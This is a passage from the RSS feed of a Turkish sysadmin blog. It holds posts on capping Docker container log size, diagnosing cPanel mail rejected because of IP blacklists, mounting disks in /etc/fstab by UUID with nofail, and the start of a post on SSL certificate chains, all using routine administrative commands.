<p>Konteynırların bir daha asla diski yutmaması için kalıcı ve sistemsel bir sınır getirilmelidir. Bunu her konteynıra tek tek yapmak yerine doğrudan Docker motorunun kalbine işlemek gerekir.</p>
<h3>1. Global Çözüm: <code>/etc/docker/daemon.json</code></h3>
<p>Docker daemon yapılandırma dosyası açılır (yoksa oluşturulur):</p>
<pre><code class="language-json">{
  "log-driver": "json-file",
  "log-opts": {
    "max-size": "50m",
    "max-file": "3"
  }
}
</code></pre>
<p>Bu iki parametrenin anlamı hayati önemdedir:</p>
<ul>
<li><strong><code>max-size: "50m"</code></strong>: Tek bir log dosyasının boyutu 50 Megabayt'ı geçtiğinde dosya derhal kapatılır ve döndürülür.</li>
<li><strong><code>max-file: "3"</code></strong>: En fazla 3 adet arşiv dosyası tutulur. Dördüncü dosya oluştuğunda en eski dosya otomatik olarak imha edilir.</li>
</ul>
<p>Bu kuralı girdikten sonra Docker servisi yeniden yüklenir:</p>
<pre><code class="language-bash">sudo systemctl reload docker
</code></pre>
<p>Artık bu sunucuda ayağa kalkan hiçbir konteynır toplamda <code>50 MB x 3 = 150 MB</code>'tan fazla log üretemez! 150 MB'a ulaşan log kendi kendini imha eden döngüsel bir hafızaya (ring buffer) dönüşür.</p>
<hr>
<h3>2. Docker Compose Seviyesinde Sınırlandırma</h3>
<p>Eğer global ayar yapamıyorsanız veya belirli bir mikroservisin (örneğin aşırı debug logu basan bir kuyruk dinleyicisinin) logunu daha da sıkı tutmak istiyorsanız, bunu doğrudan <code>docker-compose.yml</code> içinde tanımlayabilirsiniz:</p>
<pre><code class="language-yaml">version: '3.8'

services:
  backend-api:
    image: my-app:latest
    restart: always
    logging:
      driver: "json-file"
      options:
        max-size: "20m"
        max-file: "2"
    ports:
      - "3000:3000"
</code></pre>
<p>Bu servis için toplam log tavanı 40 MB ile kesin olarak sınırlandırılmıştır.</p>
<hr>
<h2>Kurumsal Mimari: Logları Konteynırdan Dışarı Fırlatmak</h2>
<p>Logların konteynır içinde veya sunucunun yerel diskinde saklanması, 12-Factor App (On İki Faktörlü Uygulama) prensiplerine de aykırıdır. Bir konteynır geçicidir (ephemeral); gerektiğinde ölür, yeniden doğar.</p>
<p>Kurumsal altyapılarda Docker log sürücüsü yerel disk yerine doğrudan merkezi bir log toplayıcıya yönlendirilir:</p>
<ul>
<li><strong>Loki Sürücüsü (<code>loki</code>):</strong> Grafana Loki'ye doğrudan HTTP ile log akışı sağlar.</li>
<li><strong>Fluentd / Logstash (<code>fluentd</code>):</strong> Logları toplayıp Elasticsearch / OpenSearch kümesine fırlatır.</li>
<li><strong>Syslog Sürücüsü (<code>syslog</code>):</strong> İşletim sisteminin merkezi rsyslog servisine aktarır.</li>
</ul>
<p>Bu mimaride konteynır sunucusunun diskinde tek bir bayt bile log birikmez; loglar anında merkezi SIEM havuzuna akar ve disk dolma riski teorik olarak sıfıra iner.</p>
<h2>Sonuç</h2>
<p>Stent takmak cerrahiyi bitirmez; stentin tıkanmasını önleyecek tedaviyi düzenlemek zorundasınız. Docker kullanmak da sistem yönetimini bitirmez; konteynırın ürettiği atığın sunucuyu boğmasını engelleyecek limitleri koymak zorundasınız.</p>
<p>Sınırlandırılmamış her süreç, kaynakları sonsuz zanneden bir parazite dönüşür. Docker projelerinize başlarken <code>max-size</code> parametresini bir opsiyon değil, altyapınızın yaşamsal emniyet kemeri olarak kabul edin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Docker</category>
            <category>DevOps</category>
            <category>Logging</category>
            <category>Disk Space</category>
            <category>json-file</category>
            <category>SysAdmin</category>
            <category>Konteyner</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/docker-konteynirinda-log-sinirlamasi-yapmamak-diski-yutan-json-file/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[cPanel 'Track Delivery' Ekranındaki Kırmızı Çizgiler ve Engellenen IP'ler]]></title>
            <link>http://localhost:3000/blog/post/cpanel-track-delivery-ekranindaki-kirmizi-cizgiler-ve-engellenen-ipler</link>
            <guid>cpanel-track-delivery-ekranindaki-kirmizi-cizgiler-ve-engellenen-ipler</guid>
            <pubDate>Fri, 16 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Müşterinin 'Mail gitmiyor, sunucunuz bozuk!' çığlığıyla açtığı bilette cPanel Track Delivery ekranındaki 550 5.7.1 Service Unavailable kırmızı çizgileri ve itibar inkarı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cpanel-track-delivery-ekranindaki-kirmizi-cizgiler-ve-engellenen-ipler/thumbnail" alt=""> Uluslararası halk sağlığı ve sınır güvenliği protokollerinde bulaşıcı hastalık taşıyan yolcular için çok katı bir karantina ağı vardır. Örneğin ebola, aktif kolera veya sarıhumma salgını olan bir bölgeden gelen bir yolcunun havalimanı termal kamerasında ateşi 40 derece ölçülürse ve kanında patojen tespit edilirse sınır polisi o yolcuyu ülkeye sokmaz; doğrudan karantina odasına alır. Şimdi bu yolcunun sınır polisine yumruk sallayarak şöyle bağırdığını düşünün: <em>"Benim pasaportum var, vizem var, business class bilet aldım! Bu ülke bana düşman, havayolu şirketi beni dolandırdı, uçağınız bozuk!"</em> Yolcu kendi kanında taşıdığı ölümcül virüsü tamamen görmezden gelmekte, suçu uçağın motoruna veya pasaport memurunun niyetine atmaktadır. Ortada teknik veya bürokratik bir arıza yoktur; yolcunun biyolojik itibarı küresel sağlık filtresi tarafından reddedilmiştir.</p>
<p>Web barındırma ve kurumsal e-posta destek departmanlarının mesailerini en çok tüketen vaka tam olarak bu karantina inkarıdır: Müşterinin <em>"Benim maillerim müşterilerime gitmiyor, tekliflerim ulaşmıyor! Sizin sunucularınız bozuk, paramızı iade edin!"</em> feryadıyla destek bileti açması ve destek mühendisinin cPanel <strong>Track Delivery (E-Posta İletimini İzle)</strong> ekranını açarak müşterinin yüzüne o kan kırmızı çizgileri vurması.</p>
<hr>
<h2>cPanel "Track Delivery" Ekranı: Dijital Adli Tıp Raporu</h2>
<p>Birçok kullanıcı e-postanın WhatsApp mesajı gibi anlık ve doğrudan bir tünel olduğunu sanır. Oysa e-posta iletimi (SMTP protokolü), dünyanın en şüpheci ve paranoyak iki sunucusu arasında geçen diplomatik bir müzakeresidir.</p>
<p>cPanel arayüzündeki <strong>Track Delivery</strong> (eski adıyla E-Posta İletim Durumu), bu müzakerenin saniyesi saniyesine tutulmuş adli tıp tutanağıdır.</p>
<pre><code>+------------------------------------------------------------------------+
|                          cPanel TRACK DELIVERY                         |
|                                                                        |
|  Zaman        : 2026-01-16 11:24:08                                    |
|  Gönderen     : muhasebe@sirket.com.tr                                 |
|  Alıcı        : satin-alma@holding.com (Microsoft 365 / Outlook)       |
|  Sonuç        : FAILED (BAŞARISIZ) 🔴                                  |
|                                                                        |
|  Sunucu Yanıtı:                                                        |
|  SMTP error from remote mail server after RCPT TO:                     |
|  host holding-com.mail.protection.outlook.com [52.101.40.12]:          |
|  550 5.7.1 Service unavailable, Client host [195.175.xx.xx] blocked   |
|  using Spamhaus ZEN / Spam Cop. To request removal, visit...           |
+------------------------------------------------------------------------+
</code></pre>
<p>Ekranda parlayan o kırmızı çarpı ikonu ve <code>550 5.7.1</code> hata kodu her şeyi söyler:</p>
<ul>
<li>E-posta müşterinin bilgisayarından çıkmış mıdır? <strong>Evet.</strong></li>
<li>Hosting sunucusuna (Exim) ulaşmış mıdır? <strong>Evet.</strong></li>
<li>Hosting sunucusu e-postayı karşı tarafa iletmek için kapıyı çalmış mıdır? <strong>Evet.</strong></li>
<li>Karşı sunucu (Microsoft, Google, Yahoo) kapıyı yüzüne çarpmış mıdır? <strong>KESİNLİKLE EVET.</strong></li>
</ul>
<hr>
<h2>550 5.7.1 Service Unavailable: Dijital Vize Reddi</h2>
<p>Bu hata kodu, alıcı sunucunun şu açık beyanıdır: <em>"Senin kim olduğunu biliyorum. Ancak senin IP adresin veya alan adın dünyaca ünlü kara listelerde (Spamhaus, Barracuda, SpamCop, Sorbs) sabıkalı olarak işaretlenmiş. Ben senin sunucundan gelen tek bir baytı bile posta kutularıma yaklaştırmam."</em></p>
<p>Bu noktada müşterinin savunması genellikle şu klişelere dayanır:</p>
<ul>
<li><em>"Ama biz spam atmıyoruz ki! Biz kurumsal şirketiz, sadece teklif gönderiyoruz!"</em></li>
<li><em>"Dün gidiyordu, bugün niye gitmiyor? Siz sunucuda bir şey bozdunuz!"</em></li>
<li><em>"Gmail'e gidiyor da Microsoft'a niye gitmiyor? Demek ki sizin sisteminiz Microsoft ile uyumsuz!"</em></li>
</ul>
<hr>
<h2>IP İtibarı Nasıl Zehirlenir? Patolojinin Kök Sebepleri</h2>
<p>Bir sunucunun IP adresi durup dururken kara listelere girmez. Arka planda mutlaka bir patoloji vardır:</p>
<h3>1. Şirket İçinden Bulaşan Truva Atı (Compromised Account)</h3>
<p>Şirket çalışanlarından birinin bilgisayarına kimlik avı (phishing) veya zararlı yazılımla bir trojan bulaşmıştır. Saldırgan çalışanın Outlook şifresini ele geçirir. Gece saat 03:00 ile 06:00 arasında o tek bir e-posta hesabı üzerinden dünya genelindeki 200.000 kişiye sahte fatura veya cinsel içerikli spam e-posta pompalar.<br>
Sabah Spamhaus botları bu trafiği yakalar ve sunucunun IP adresini anında <strong>ZEN (SBL+XBL+PBL)</strong> kara listesine kilitler.</p>
<h3>2. Paylaşımlı Hosting Komşusunun Günahı</h3>
<p>Eğer paylaşımlı bir sunucudaysanız, aynı sunucudaki başka bir sitenin hacklenmesi veya PHP script'i üzerinden spam basması sonucu ortak kullanılan giden posta IP'si (Outbound Mail IP) kirlenir. Siz kurallara uysanız bile komşunuzun enfeksiyonu yüzünden karantinaya alınırsınız.</p>
<h3>3. Eksik veya Hatalı DNS Kimlik Doğrulamaları (SPF, DKIM, DMARC)</h3>
<p>Modern e-posta dünyasında pasaportsuz dolaşamazsınız:</p>
<ul>
<li><strong>SPF (Sender Policy Framework):</strong> Bu IP'nin bu alan adı adına mail atmaya yetkili olduğunu söyler. Yoksa karşı sunucu maile şüpheyle bakar.</li>
<li><strong>DKIM (DomainKeys Identified Mail):</strong> Mailin yolda değiştirilmediğini kanıtlayan kriptografik imzadır. İmzası bozuk olan mail çöpe gider.</li>
<li><strong>DMARC (Domain-based Message Authentication):</strong> SPF veya DKIM başarısız olduğunda karşı sunucuya "Bu maili reddet" emri veren nihai politikadır.</li>
</ul>
<hr>
<h2>İnkârı Aşmak: Müşteriye Adli Kanıt Sunmak</h2>
<p>Müşteriyle telefon başında polemiğe girmek vakit kaybıdır. Sistem mühendisi verilerle konuşur:</p>
<pre><code>[Müşterinin İddiası]  ───► "Sunucunuz bozuk, maillerim kayboluyor!"
                                  │
                                  ▼
[Adli Delil 1: Track Delivery]───► 550 5.7.1 Reddi (Alıcı sunucu kapıyı kapattı)
                                  │
                                  ▼
[Adli Delil 2: MXToolbox RBL] ──► IP 195.175.xx.xx -> Spamhaus SBL: LISTED 🔴
                                  │
                                  ▼
[Adli Delil 3: Exim Log Analizi]─► user: satis@sirket.com -> 4 saatte 85.000 mail!
                                  │
                                  ▼
[SONUÇ]                       ──► İflas eden sunucu değil; güvenliği delinmiş
                                  kullanıcı hesabıdır!
</code></pre>
<p>Müşterinin önüne son 24 saat içinde hangi hesabından kaç bin spam çıktığı ve Spamhaus'un resmi blokaj raporu konulduğunda krizin boyutu inkârdan kabullenişe geçer.</p>
<hr>
<h2>Tedavi Protokolü: Karantinadan Çıkış Yolu</h2>
<p>IP adresini kara listeden çıkarmak ve e-posta iletimini normale döndürmek disiplinli bir temizlik gerektirir:</p>
<ol>
<li><strong>Kanayan Damarı Klempleyin (Spam Kaynağını Kesin):</strong><br>
Exim posta kuyruğu (mail queue) taranır:
<pre><code class="language-bash"># Kuyruktaki şüpheli mailleri listeleyin:
exim -bpr | grep "&#x3C;" | awk '{print $4}' | sort | uniq -c | sort -n
# Saldırıya uğrayan hesabın şifresini derhal değiştirin ve kuyruğu temizleyin:
exiqgrep -i -f satis@sirket.com.tr | xargs exim -Mrm
</code></pre>
</li>
<li><strong>Kimlik Avı Temizliği ve 2FA (İki Faktörlü Doğrulama):</strong><br>
Kullanıcının bilgisayarı antivirüs ile taranmalı, tüm e-posta şifreleri karmaşık karakterlerle yenilenmeli ve webmail üzerinde 2FA zorunlu tutulmalıdır.</li>
<li><strong>SPF, DKIM ve DMARC Kayıtlarını Onarın:</strong><br>
DNS kayıtlarında SPF'in <code>v=spf1 ip4:... ~all</code> veya <code>-all</code> ile bittiğinden, DKIM 2048-bit anahtarının doğru yayınlandığından emin olun.</li>
<li><strong>Delist (Kara Listeden Çıkartma) Talebi Gönderin:</strong><br>
Spam kaynağı tamamen kurutulduktan sonra Spamhaus veya Barracuda portalına girilir:
<ul>
<li><em>"Spam çıkışı yapan şifresi çalınmış hesap tespit edilmiş, şifresi değiştirilmiş ve giden kuyruk temizlenmiştir"</em> açıklamasıyla resmi talep açılır.</li>
<li>Kara listeler genellikle 2 ila 24 saat içinde IP üzerindeki blokajı kaldırır.</li>
</ul>
</li>
</ol>
<hr>
<h2>Kalıcı Mimari Güvence: Akıllı SMTP Rölesi (Smart Relay)</h2>
<p>Kurumsal operasyonlarda paylaşımlı hosting sunucusunun yerel IP'si üzerinden doğrudan e-posta göndermek her zaman bir risk taşır. Tek bir komşunuzun hatası sizi vurabilir.</p>
<p>Gerçek kurumsal çözüm, giden e-postaları profesyonel bir <strong>SMTP Röle Servisine (SendGrid, Mailgun, Amazon SES, Postmark)</strong> bağlamaktır:</p>
<ul>
<li>Bu servisler IP itibarını yapay zeka ile korur.</li>
<li>Spam basmaya çalışan bir hesap olursa hesabı anında dondurur, ana IP'yi lekeletmez.</li>
<li>Teslimat oranları (inbox rate) %99.9 seviyesine çıkar.</li>
</ul>
<h2>Sonuç</h2>
<p>Karantina memuruna bağırarak sarıhumma mikrobunu yok edemezsiniz; cPanel'deki kırmızı çizgileri hosting firmasına fatura ederek de e-posta itibarınızı kurtaramazsınız.</p>
<p>E-posta protokolü karşılıklı güvene dayanır. Karşı sunucu sizi reddediyorsa, sorun iletim hattında değil; kapısına götürdüğünüz dijital kimliğin kirliliğindedir. Hijyeni kendi sunucunuzda ve kullanıcı hesaplarınızda sağlayın; kapıların kendiliğinden açıldığını göreceksiniz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>cPanel</category>
            <category>Track Delivery</category>
            <category>E-Posta</category>
            <category>Blacklist</category>
            <category>RBL</category>
            <category>Spamhaus</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cpanel-track-delivery-ekranindaki-kirmizi-cizgiler-ve-engellenen-ipler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sunucuya Eklenen Yeni Diski /etc/fstab Dosyasına Yanlış Tanımlamak]]></title>
            <link>http://localhost:3000/blog/post/sunucuya-eklenen-yeni-diski-etcfstab-dosyasina-yanlis-tanimlamak</link>
            <guid>sunucuya-eklenen-yeni-diski-etcfstab-dosyasina-yanlis-tanimlamak</guid>
            <pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Ek blok depolamayı /dev/sdb gibi dinamik isimlerle /etc/fstab dosyasına bağlayıp ilk sunucu yeniden başlatmasında Emergency Mode (Acil Durum Modu) kabuğuna kilitlenen sistemlerin anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucuya-eklenen-yeni-diski-etcfstab-dosyasina-yanlis-tanimlamak/thumbnail" alt=""> Ortopedi ve travmatoloji cerrahisinde kırık bir kemiği sabitlemek için titanyum plak ve vidalar kullanılırken hekimin kemiğin anatomik referans noktalarını milimetrik olarak tespit etmesi şarttır. Vida sabit, hareketsiz ve kemik korteksine mutlak biyomekanik uyum sağlayan bir koda göre yerleştirilir. Şimdi bir cerrahın, "Nasılsa ameliyat sırasında bu kas grubu tam buradaydı, vidayı kasın o anki geçici duruşuna göre tutturalım" dediğini düşünün. Hasta ameliyattan çıkıp bacağını hareket ettirdiği an, kaslar kayar; vida boşluğa düşer veya ana damarı deler. Hasta aniden derin bir bacak iskemisine girer ve acil revizyon cerrahisine alınmak zorunda kalır. Çünkü anatomik tespit geçici pozisyonlara değil, kemiğin mutlak koordinatlarına yapılmak zorundadır.</p>
<p>Linux sistem mühendisliğinde sunucuya yeni bir NVMe veya blok depolama (Block Storage / EBS) ekleyen sistem yöneticisinin, diski kalıcı montaj tablosuna (<code>/etc/fstab</code>) evrensel benzersiz kimliği (<strong>UUID</strong>) yerine <code>/dev/sdb</code> veya <code>/dev/vdb</code> gibi dinamik aygıt adlarıyla eklemesi, tam olarak bu gevşek cerrahi vidanın dijital karşılığıdır.</p>
<hr>
<h2>Linux Aygıt İsimlendirmesinin İllüzyonu: <code>/dev/sdX</code> Neden Sabit Değildir?</h2>
<p>Linux çekirdeği (Kernel) donanımları önyükleme (boot) sırasında udev kurallarıyla asenkron olarak tarar. SATA kontrolcüsü, SCSI veriyolu, NVMe arabirimi veya bulut hipervizörünün (KVM/Xen/VMware) sanal diskleri tarama sırası her açılışta mikrosaniyelik farklarla değişebilir:</p>
<ul>
<li>Bugün <code>/dev/sda</code> ana işletim sistemi diskiniz, <code>/dev/sdb</code> ise sonradan taktığınız 2 TB'lık veri diskiniz olabilir.</li>
<li>Yarın sunucu yeniden başladığında, SCSI veriyolu yeni diski 5 milisaniye daha erken yanıtlayabilir ve çekirdek o yeni diski <code>/dev/sda</code> olarak etiketleyebilir!</li>
<li>Veya bulut sağlayıcınız sunucuyu başka bir hipervizör düğümüne (node migration) taşıdığında aygıt harfleri aniden <code>/dev/vda</code> yerine <code>/dev/xvda</code> haline gelebilir.</li>
</ul>
<p>Eğer siz <code>/etc/fstab</code> dosyasına şu satırı yazdıysanız:</p>
<pre><code class="language-text">/dev/sdb1    /mnt/data    ext4    defaults    0    2
</code></pre>
<p>Sisteminizi pimi çekilmiş bir el bombasının üzerine oturtmuşsunuz demektir.</p>
<hr>
<h2>systemd'nin Tavizsiz Önyükleme Mantığı ve "Emergency Mode"</h2>
<p>Eski SysVinit çağında bir disk bağlanamazsa sistem açılış sırasında ekrana bir uyarı basar ve diğer servisleri ayağa kaldırmaya devam ederdi. Ancak modern Linux dağıtımlarının (Ubuntu, Debian, RHEL, CentOS, Rocky Linux) kalbi olan <strong>systemd</strong>, montaj işlemlerine karşı acımasız ve tavizsiz bir disipline sahiptir.</p>
<p>systemd önyükleme sırasında <code>/etc/fstab</code> dosyasındaki her bir girdiyi kritik bir sistem bağımlılığı (<code>local-fs.target</code>) olarak kabul eder.</p>
<pre><code>                           ┌────────────────────────┐
                           │    SUNUCU REBOOT ATTI  │
                           └───────────┬────────────┘
                                       │
                                       ▼
                         [systemd Önyükleme Başladı]
                         Hedef: local-fs.target
                                       │
                                       ▼
                         [/etc/fstab Taranıyor...]
                         Satır: /dev/sdb1 -> /mnt/data
                                       │
                         [90 Saniye Aygıt Bekleniyor]
                         Job dev-sdb1.device/start timed out! ❌
                                       │
                                       ▼
                   [KRİTİK BAĞIMLILIK HATASI: FAIL!]
                   "Dependency failed for Local File Systems"
                                       │
                                       ▼
                   [EMERGENCY MODE / ACİL DURUM KABUĞU]
                   - Ağ servisleri (Network / SSH) BAŞLATILMADI!
                   - Nginx / MySQL BAŞLATILMADI!
                   - Sunucu KONSOLDA KİLİTLENDİ! ❌
</code></pre>
<p>Sunucu 90 saniye boyunca <code>/dev/sdb1</code> aygıtının gelmesini bekler. Aygıt adı kaydıysa veya disk o an hazır değilse systemd kırmızı bayrağı çeker:<br>
<code>You are in emergency mode. After logging in, type "journalctl -xb" to view system logs.</code></p>
<p>Ve en dehşet verici kısım: <strong>Ağ kartları (network interfaces) ve SSH servisi ayağa kaldırılmaz!</strong><br>
Sunucu internete tamamen kapalıdır. İnternet üzerinden SSH atamazsınız; sunucu ping almaz. Uzaktan bakan biri sunucunun fiziksel olarak yandığını veya veri merkezinin elektriğinin kesildiğini sanır.</p>
<hr>
<h2>Masadaki Hastaya Ulaşmak: Acil Kurtarma Operasyonu</h2>
<p>Bu kilitlenme yaşandığında sistem yöneticisi fiziksel veri merkezinde bir monitör ve klavyeyle kabinin arkasına geçmek ya da bulut panelinden (AWS EC2 Serial Console, Hetzner VNC, DigitalOcean Web Console) KVM konsolunu açmak zorundadır.</p>
<p>Konsol açıldığında ekranda <code>root</code> şifresi istenir. Ancak birçok bulut imajında <code>root</code> kullanıcısının parolası yoktur (yalnızca SSH anahtarıyla girilecek şekilde ayarlanmıştır)! Parola olmadığı için konsola giriş bile yapılamaz.</p>
<h3>Çözüm Adımları:</h3>
<ol>
<li><strong>GRUB Müdahalesi:</strong><br>
Sunucu yeniden başlatılırken GRUB menüsünde <code>e</code> tuşuna basılır.<br>
Kernel satırının (<code>linux ...</code>) sonuna şu parametre eklenir:<br>
<code>init=/bin/bash</code> veya <code>systemd.unit=rescue.target</code><br>
<code>Ctrl + X</code> ile sistem tek kullanıcı modunda doğrudan root kabuğuna düşürülür.</li>
<li><strong>Kök Dosya Sistemini Yazılabilir Yapmak:</strong><br>
Kurtarma kabuğunda kök dizin varsayılan olarak salt-okunur (read-only) bağlanır:
<pre><code class="language-bash">mount -o remount,rw /
</code></pre>
</li>
<li><strong>Suçluyu Etkisiz Hale Getirmek:</strong><br>
<code>/etc/fstab</code> dosyası nano veya vi ile açılır. Hatalı eklenen <code>/dev/sdb1</code> satırının başına bir <code>#</code> işareti konularak satır yoruma alınır:
<pre><code class="language-text"># /dev/sdb1    /mnt/data    ext4    defaults    0    2
</code></pre>
</li>
<li><strong>Yeniden Başlatma:</strong>
<pre><code class="language-bash">exec /sbin/init
</code></pre>
</li>
</ol>
<p>Sunucu başarıyla ayağa kalkar, SSH bağlantısı geri gelir. Ancak 2 saatlik planlanmamış kesinti şirket hanesine yazılmıştır.</p>
<hr>
<h2>Doğru Cerrahi Reçete: UUID ve <code>nofail</code> Zırhı</h2>
<p>Bir diski Linux dosya sistemine bağlarken asla aygıt harfleri (<code>/dev/sdX</code>) kullanılmaz. Çözüm iki temel parametrenin doğru yapılandırılmasından geçer:</p>
<h3>1. Diski Her Zaman Evrensel Benzersiz Kimliğiyle (UUID) Bağlayın!</h3>
<p>UUID (Universally Unique Identifier), diskin dosya sistemi biçimlendirildiğinde disk bloklarının üzerine kazınan ve aygıt portu değişse bile asla değişmeyen mutlak kimlik numarasıdır.</p>
<pre><code class="language-bash"># Bağlanacak diskin UUID'sini öğrenin:
sudo blkid /dev/sdb1

# Çıktı:
# /dev/sdb1: UUID="3a7b8e12-4f5c-4d32-98ab-8c9f0e1d2c3b" TYPE="ext4"
</code></pre>
<h3>2. <code>nofail</code> Bayrağı: Hayat Kurtaran Emniyet Supabı!</h3>
<p>En kritik püf noktası <code>/etc/fstab</code> montaj seçeneklerine <strong><code>nofail</code></strong> parametresini eklemektir.</p>
<p><code>nofail</code> parametresi systemd'ye şu emri verir: <em>"Bu disk önyükleme sırasında fiziksel olarak bulunamazsa veya arızalıysa, sakın sistemi Emergency Mode'a sokma! Bu diski atla, montajı geç ve işletim sistemini, ağ kartlarını ve SSH servisini çalıştırmaya devam et!"</em></p>
<pre><code class="language-text"># KUSURSUZ VE GÜVENLİ /etc/fstab SATIRI:
UUID=3a7b8e12-4f5c-4d32-98ab-8c9f0e1d2c3b  /mnt/data  ext4  defaults,nofail  0  2
</code></pre>
<p>Bu tek bir kelime (<code>nofail</code>), sunucunuzun harici bir disk hatası yüzünden komaya girmesini engeller. Disk bağlanamasa bile sunucunuz açılır, SSH ile bağlanıp sorunu canlı sistemde incelersiniz.</p>
<hr>
<h2>Altın Kural: Reboot Atmadan Önce Mutlaka <code>mount -a</code> Yapın!</h2>
<p>Sistem yöneticisinin <code>/etc/fstab</code> dosyasını düzenledikten sonra yapması gereken en kutsal kontrol şudur:</p>
<pre><code class="language-bash"># Dosyadaki tüm kayıtları test eder, bir hata varsa hemen konsola basar:
sudo mount -a
</code></pre>
<p>Eğer <code>mount -a</code> komutu sessizce tamamlanıyorsa yapılandırmanız doğrudur. Eğer bir sözdizimi veya UUID hatası varsa ekrana hemen hata basar:<br>
<code>mount: /mnt/data: mount point does not exist.</code><br>
Hatanızı sunucu canlıyken görür ve düzeltirsiniz; sunucu reboot olduğunda acil serviste uyanmak zorunda kalmazsınız.</p>
<h2>Sonuç</h2>
<p>Cerrahi vidayı rastgele bir kas dokusuna tutturan hekim ameliyat sonrası komplikasyonlardan kaçamaz; diski <code>/dev/sdb</code> gibi değişken bir harfe bağlayan sistem mühendisi de Emergency Mode kabusundan kurtulamaz.</p>
<p>Linux'ta hiçbir donanım adı kalıcı değildir; kalıcı olan tek şey UUID'dir. Montaj satırlarınıza <code>UUID</code> ve <code>nofail</code> yazmak 10 saniyenizi alır; ancak ihmal etmek gecenizin 3 saatini kurtarma konsollarında çaresizce geçirmenize mal olur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Linux</category>
            <category>fstab</category>
            <category>SysAdmin</category>
            <category>Emergency Mode</category>
            <category>systemd</category>
            <category>Depolama</category>
            <category>Kesinti</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucuya-eklenen-yeni-diski-etcfstab-dosyasina-yanlis-tanimlamak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sertifika Zincirinde Eksik Halka: Telefonda Açılıp Bilgisayarda Patlayan Siteler]]></title>
            <link>http://localhost:3000/blog/post/sertifika-zincirinde-eksik-halka-telefonda-acilip-bilgisayarda-patlayan-siteler</link>
            <guid>sertifika-zincirinde-eksik-halka-telefonda-acilip-bilgisayarda-patlayan-siteler</guid>
            <pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Web sunucusuna SSL kurulurken CA Bundle (Ara Sertifika) dosyasını yüklemeyi unutan ve mobilde sorunsuz açılan sitenin masaüstü kurumsal bilgisayarlarda güvensiz uyarısı vermesiyle şaşkına dönen ekipler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sertifika-zincirinde-eksik-halka-telefonda-acilip-bilgisayarda-patlayan-siteler/thumbnail" alt=""> Hastanelerde sterilizasyon zinciri (asepsi zinciri), ameliyat aletlerinin otoklav cihazında sterilize edilmesinden ameliyathanede cerrahın eline ulaşana kadar kesintisiz bir halkalar bütünüdür. Alet otoklavdan çıkar, sızdırmaz ara steril taşıma konteynerine konur, steril asansörle transfer edilir ve ameliyathanede steril hemşire tarafından açılır. Eğer taşıma ekibi o "ara transfer konteynerini" atlar, aletleri koridordan çıplak tepsiyle taşırsa ne olur? Genç, 20 yaşında, bağışıklık sistemi son derece güçlü bir sporcuyu ameliyat ettiğinizde hastanın vücudu bu ufak kirlenmeyi tolere edebilir ve enfeksiyon kapmayabilir. Ancak aynı ihmalle bağışıklığı baskılanmış, 70 yaşında bir diyabet hastasını ameliyat ederseniz hasta 24 saat içinde masif sepsise girer. Sorumsuz bir cerrahın "Ama genç hastada sorun çıkmadı, demek ki aletler temiz, yaşlı hasta bahane üretiyor" demesi ne kadar vahim bir hezeyansa; web altyapılarında sertifika zincirini yarım bırakıp savunma yapmak da o kadar vahimdir.</p>
<p>SSL/TLS sertifikalarını web sunucusuna (Nginx, Apache, HAProxy) kurarken <strong>Ara Sertifika (Intermediate Certificate / CA Bundle)</strong> dosyasını unutan ekiplerin düştüğü o meşhur tuzak tam olarak budur:<br>
Müşteri feryat eder: <em>"Sitenize bilgisayardan girince 'Bağlantınız Gizli Değil - NET::ERR_CERT_AUTHORITY_INVALID' uyarısı çıkıyor!"</em><br>
Geliştirici kendi iPhone'unu açar, siteye girer ve yeşil kilidi görür: <em>"Bende açılıyor, sorun yok! Sizin bilgisayarınızın saati yanlıştır veya şirket ağınız engelliyordur!"</em></p>
<p>Oysa suç müşterinin bilgisayarında değil, sunucuda koparılmış olan güven zincirindedir.</p>
<hr>
<h2>Güven Zinciri (Chain of Trust) Nasıl Çalışır?</h2>
<p>Dünyadaki hiçbir web tarayıcısı (Chrome, Firefox, Safari) veya işletim sistemi (Windows, macOS, Linux, Android, iOS) sizin sitenizin sertifikasını doğrudan tanımaz. Tanıması da beklenemez; dünyada yüz milyonlarca web sitesi vardır.</p>
<p>Güven hiyerarşik bir piramit olarak inşa edilir:</p>
<pre><code>                  ┌────────────────────────────────────────┐
                  │          KÖK SERTİFİKA OTORİTESİ       │
                  │              (Root CA)                 │
                  │  (Örn: IdenTrust, DigiCert, Sectigo)   │
                  │  *İşletim sistemlerinin hafızasında gömülüdür*
                  └───────────────────┬────────────────────┘
                                      │ İmzalar 🔏
                                      ▼
                  ┌────────────────────────────────────────┐
                  │            ARA SERTİFİKA               │
                  │      (Intermediate CA / CA Bundle)     │
                  │  (Örn: Let's Encrypt R3, Sectigo RSA)  │
                  │  *Kök CA kendi anahtarını korumak için │
                  │   günlük imzaları bu aracıya devreder* │
                  └───────────────────┬────────────────────┘
                                      │ İmzalar 🔏
                                      ▼
                  ┌────────────────────────────────────────┐
                  │             SİZİN SERTİFİKANIZ         │
                  │          (Server / Leaf Certificate)   │
                  │             example.com                │
                  └────────────────────────────────────────┘
</code></pre>
<p>Tarayıcınız sitenize bağlandığında sunucudan bir <strong>kanıt zinciri</strong> sunmasını bekler:<br>
<em>"Sen bana kendi sertifikanı verdin (Leaf). Peki seni kim imzaladı? 'Let's Encrypt R3'. Peki R3'ü kim imzaladı? 'ISRG Root X1'. Tamam, ISRG Root X1 benim işletim sistemimin güvenilir kök listemde var; zincir tamamlandı, yeşil kilidi yakıyorum!"</em></p>
<hr>
